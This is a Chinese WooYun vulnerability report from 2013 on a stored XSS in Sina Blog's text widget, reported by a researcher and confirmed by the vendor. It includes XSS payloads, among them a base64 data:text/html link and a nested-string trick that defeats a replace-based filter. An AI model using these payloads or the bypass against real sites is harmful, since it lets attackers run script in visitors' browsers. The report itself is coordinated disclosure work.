当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-033916

漏洞标题：新浪博客储存型XSS+过滤器猥琐绕过（黑盒XSS技巧）

相关厂商：新浪

漏洞作者： LaiX

提交时间：2013-08-09 08:35

修复时间：2013-09-23 08:35

公开时间：2013-09-23 08:35

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-09： 细节已通知厂商并且等待厂商处理中
2013-08-09： 厂商已经确认，细节仅向厂商公开
2013-08-19： 细节向核心白帽子及相关领域专家公开
2013-08-29： 细节向普通白帽子公开
2013-09-08： 细节向实习白帽子公开
2013-09-23： 细节向公众公开

简要描述：

新浪某储存型XSS有过滤器，猥琐的绕过...

详细说明：

新浪某储存型XSS有过滤器，猥琐的绕过...

漏洞证明：

打开新浪博客，点击 页面设置

.png


点击 自定义组件

<>


点击 添加文本组件

.png


点击 显示源代码

.png


插入

<a href="javascript:">test</a>


保存发现只要存在javascript整条a标签直接挂掉..
换个姿势插个属性

<img src=x onerror>


测试发现会直接删除 后台黑名单 内的属性，试了一下无法绕过。
接着用必杀技

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik7PC9zY3JpcHQ+">test</a>


测试发现 ; 号 前面的所有会被删除，被过滤成:

<a href=";base64,PHNjcmlwdD5hbGVydCgieHNzIik7PC9zY3JpcHQ+">test</a>


根据多年经验，我判断这一定是用replace过滤的，所以我构造如下姿势进行绕过。

<a href="datadata:text/html:data:text/htmltextdata:text/html/data:text/htmlhtml;base64,PHNjcmlwdD5hbGVydCgieHNzIik7PC9zY3JpcHQ+">test</a>


插入成功：

.png


点击一下，它弹起来了

over.png


修复方案：

请换一种思路过滤...

版权声明：转载请注明来源 LaiX@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2013-08-09 09:57

厂商回复：

感谢关注新浪安全，已安排人员进行修复。

最新状态：

暂无